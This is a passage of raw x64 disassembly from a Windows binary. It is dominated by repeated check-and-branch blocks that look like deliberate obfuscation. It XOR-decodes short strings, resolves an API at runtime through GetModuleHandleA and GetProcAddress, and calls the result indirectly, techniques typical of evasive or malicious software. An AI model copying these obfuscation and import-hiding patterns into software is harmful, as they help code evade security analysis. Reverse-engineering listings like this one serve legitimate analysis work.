add eax, dword [rbp - 0x68]
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009e20
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
add edx, edx
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140009a4a
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm4
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009907
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140009907
mov r13d, r14d
jmp 0x140009958
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009958
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si r13d, xmm0
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm4
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x1400099ca
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x1400099ca
mov dword [rbp - 0x70], r14d
jmp 0x140009a1d
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009a1d
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x70], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r10 + 1]
and r8b, byte [rbp - 0x70]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r10 + 1]
sub dl, r8b
add dl, r13b
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r10 + 1], dl
movsx edx, byte [0x140017340]
imul edx, r11d
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140009c1f
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm5
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009ada
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140009ada
mov dword [rbp - 0x74], r14d
jmp 0x140009b2d
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009b2d
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x74], eax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm5
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009b9f
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140009b9f
mov dword [rbp - 0x6c], r14d
jmp 0x140009bf2
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009bf2
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x6c], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r10 + 1]
and r8b, byte [rbp - 0x6c]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r10 + 1]
sub dl, r8b
add dl, byte [rbp - 0x74]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r10 + 1], dl
movsx ecx, byte [0x140017004]
mov eax, dword [rbp - 0x38]
add eax, ecx
mov ecx, dword [rbp - 0x3c]
lea eax, [rax + rcx*2]
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009e20
mov eax, dword [rsp + 0x30]
sub eax, 0x59
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009ccc
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140009ccc
mov dword [rbp - 0x7c], r14d
jmp 0x140009d1f
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009d1f
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x7c], eax
mov eax, dword [rsp + 0x30]
sub eax, 0x59
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009da0
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140009da0
mov dword [rbp - 0x78], r14d
jmp 0x140009df3
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009df3
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x78], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r10 + 1]
and r8b, byte [rbp - 0x78]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r10 + 1]
sub dl, r8b
add dl, byte [rbp - 0x7c]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r10 + 1], dl
movsx edx, byte [0x140017340]
imul edx, r11d
shl edx, 3
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140009ffb
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009eb4
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140009eb4
mov dword [rsp + 0x68], r14d
jmp 0x140009f08
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009f08
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rsp + 0x68], eax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, esi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009f7a
movsx ecx, byte [0x140017340]
imul ecx, r11d
lea edx, [rcx + rcx*2]
sub edx, ebx
add edx, edi
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x140009f7a
mov dword [rbp - 0x80], r14d
jmp 0x140009fcd
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x140009fcd
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x80], eax
movsxd rax, dword [rsp + 0x30]
movzx r8d, byte [rax + r10 + 1]
and r8b, byte [rbp - 0x80]
add r8b, r8b
movsxd rax, dword [rsp + 0x30]
movzx edx, byte [rax + r10 + 1]
sub dl, r8b
add dl, byte [rsp + 0x68]
movsxd rax, dword [rsp + 0x30]
mov byte [rax + r10 + 1], dl
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 0xb
jb 0x140009681
mov byte [r10], 1
lea rcx, [r10 + 1]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, qword [rsp + 0x78]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
mov byte [rbp - 0x4d], 0
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x4d]
call fcn.140003c60
mov rbx, rax
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14000a066
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor cl, 0x3e
mov byte [rax + 5], cl
mov byte [rbp - 0x48], 0
lea rdx, [rbp + 0x178]
lea rcx, [rbp - 0x48]
call fcn.140003ad0
mov r10, rax
xor r12d, r12d
cmp byte [rax + 0x2e], r12b
je 0x14000a223
mov r8d, r12d
cmp dword [0x140017010], 2
jl 0x14000a1dc
movdqa xmm5, xmmword [0x140011aa0]
movdqa xmm4, xmmword [0x140011af0]
movdqa xmm6, xmmword [0x140011ac0]
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140011ad0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, r14d
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000a0d0
cmp r8d, 0x2f
jge 0x14000a223
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x14000a1f0
xor r9d, r9d
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call rdi
jmp 0x14000a235
xor r12d, r12d
mov r11, qword [rbp - 0x60]
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1400042f0
movsx eax, al
add eax, r9d
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [0x140017004]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a325
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
jne 0x14000a3a2
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400042f0
movsx ecx, al
lea r9d, [rcx + rdx*2]
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a399
movsx eax, byte [0x140017004]
add eax, r9d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
jmp 0x14000a39d
mov eax, dword [rsp + 0x78]
cmp r12d, eax
jge 0x14000a3ac
mov eax, 1
jmp 0x14000f78e
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x208], 0xf
mov byte [rbp + 0x1f0], 0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], r12
mov qword [rbp + 0x1e8], 0xf
mov byte [rbp + 0x1d0], 0
movups xmmword [rbp + 0x1b0], xmm0
mov qword [rbp + 0x1c0], r12
mov qword [rbp + 0x1c8], 0xf
mov byte [rbp + 0x1b0], 0
mov byte [rsp + 0x41], 0
xor sil, sil
mov byte [rsp + 0x40], sil
mov r9d, r12d
mov dword [rbp - 0x68], r12d
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400042f0
movsx ecx, al
lea ebx, [rcx + rdx*2]
mov dword [rsp + 0x30], ebx
call fcn.1400042c0
movsx edx, al
call fcn.1400042b0
movsx ecx, al
imul edx, ecx
call fcn.1400042f0
movsx ecx, al
lea r15d, [rcx + rdx*4]
call fcn.1400042c0
movsx r12d, al
call fcn.1400042b0
movsx ecx, al
imul r12d, ecx
call fcn.1400042f0
movsx esi, al
mov dword [rsp + 0x60], esi
lea eax, [r12 + r12*4]
lea edi, [rsi + rax*2]
mov r13d, 1
movsd xmm7, qword [0x140011a28]
movsd xmm10, qword [0x140011a38]
movsd xmm11, qword [0x140011a30]
movsd xmm8, qword [0x140011a40]
movsd xmm9, qword [0x140011a48]
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x38], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a585
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000a585
mov eax, r14d
mov dword [rbp - 0x70], eax
jmp 0x14000a5db
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a5d8
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x38]
cvttsd2si eax, xmm0
mov dword [rbp - 0x70], eax
jmp 0x14000a5db
mov eax, dword [rbp - 0x70]
cmp r9d, eax
jge 0x14000ca97
mov r10d, r13d
mov dword [rsp + 0x64], r13d
mov r9, r13
mov qword [rsp + 0x38], r13
cmp dword [rbp - 0x4c], 1
jle 0x14000ca87
lea r13d, [rsi + r12]
mov dword [rsp + 0x68], r13d
nop word [rax + rax]
movsx eax, byte [0x140017004]
add eax, r13d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ca5b
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a6e7
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000a6e7
mov dword [rbp - 0x6c], r14d
jmp 0x14000a743
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a73a
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si edx, xmm0
mov dword [rbp - 0x6c], edx
jmp 0x14000a73d
mov edx, dword [rbp - 0x6c]
xor eax, eax
cmp eax, edx
jge 0x14000a762
movzx eax, word [0x140011698]
mov word [rbp - 0x30], ax
movzx eax, byte [0x14001169a]
mov byte [rbp - 0x2e], al
lea rcx, [rbp - 0x30]
mov qword [rbp + 0x10], rcx
jmp 0x14000a766
mov rcx, qword [rbp + 0x10]
movzx eax, byte [rcx + 2]
test al, al
je 0x14000a77a
xor byte [rcx], 0x39
xor byte [rcx + 1], 0x3a
xor al, 0x3b
mov byte [rcx + 2], al
mov rax, qword [r11 + r9*8]
mov r8, rcx
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000a797
inc rax
test ecx, ecx
jne 0x14000a784
test edx, edx
jne 0x14000a7ab
lea eax, [r10 + 1]
cmp eax, dword [rbp - 0x4c]
jge 0x14000a7ab
mov edx, 1
jmp 0x14000a7af
xor eax, eax
mov edx, eax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a845
call fcn.1400042d0
movsx edx, al
movsx eax, byte [0x140017340]
imul edx, eax
lea r8d, [rdx + rdx*2]
call fcn.140004300
movsx ecx, al
sub r8d, ecx
call fcn.1400042e0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [0x140017001]
add ecx, r8d
je 0x14000a845
mov dword [rbp - 0x74], r14d
jmp 0x14000a896
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000a896
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x74], eax
movsx eax, byte [0x140017004]
add eax, ebx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x74]
test eax, eax
je 0x14000a94e
inc r10d
mov dword [rsp + 0x64], r10d
inc r9
mov qword [rsp + 0x38], r9
mov r9, qword [r11 + r9*8]
mov rsi, 0xffffffffffffffff
nop word [rax + rax]
inc rsi
cmp byte [r9 + rsi], 0
jne 0x14000a8e0
mov rax, qword [rbp + 0x208]
cmp rsi, rax
ja 0x14000a92f
lea rbx, [rbp + 0x1f0]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x1f0]
mov qword [rbp + 0x200], rsi
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], 0
mov esi, dword [rsp + 0x60]
mov r11, qword [rbp - 0x60]
jmp 0x14000ca57
xor r8d, r8d
mov rdx, rsi
lea rcx, [rbp + 0x1f0]
call fcn.1400014c0
mov esi, dword [rsp + 0x60]
mov r11, qword [rbp - 0x60]
jmp 0x14000ca5b
lea ecx, [r12 + rsi]
movsx eax, byte [0x140017004]
lea ecx, [rcx + r12*4]
add eax, ecx
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ca5b
call fcn.1400042d0
movsx ebx, al
mov r9d, ebx
call fcn.140004300
movsx esi, al
call fcn.1400042e0
movsx r13d, al
movsx edx, byte [0x140017340]
imul edx, ebx
lea r8d, [rdx + rdx*4]
add r8d, r8d
sub r8d, esi
add r8d, r13d
movsx eax, byte [0x140017001]
add eax, r8d
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000aa32
movsx ecx, byte [0x140017340]
imul ecx, r9d
lea edx, [rcx + rcx*2]
sub edx, esi
add edx, r13d
movsx ecx, byte [0x140017001]
add ecx, edx
je 0x14000aa32
mov dword [rbp - 0x78], r14d
jmp 0x14000aa83
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000aa83
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
mov dword [rbp - 0x78], eax
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
imul eax, dword [rbp - 0x78]
xor edx, edx
test eax, eax
je 0x14000ad52
movsx eax, byte [0x140017002]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x140017001]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
addsd xmm1, xmm1
movsd qword [rsp + 0x50], xmm1
movsx eax, byte [0x140017004]
add eax, r15d
movsx ecx, byte [0x140017003]
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ab1a
movsx ecx, byte [0x140017340]
imul ecx, r9d
lea edx, [rcx + rcx*2]
sub edx, esi
add edx, r13d
movsx ecx, byte [0x140017001]
add ecx, edx
jne 0x14000ab54
movsx eax, byte [0x140017004]
add eax, edi
movsx ecx, byte [0x140017003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
cmp eax, ecx
je 0x14000ab54
movzx eax, byte [0x140017004]
movzx eax, byte [0x140017003]
movzx eax, byte [section..data]
movsd xmm0, qword [rsp + 0x50]
mov esi, dword [rsp + 0x60]
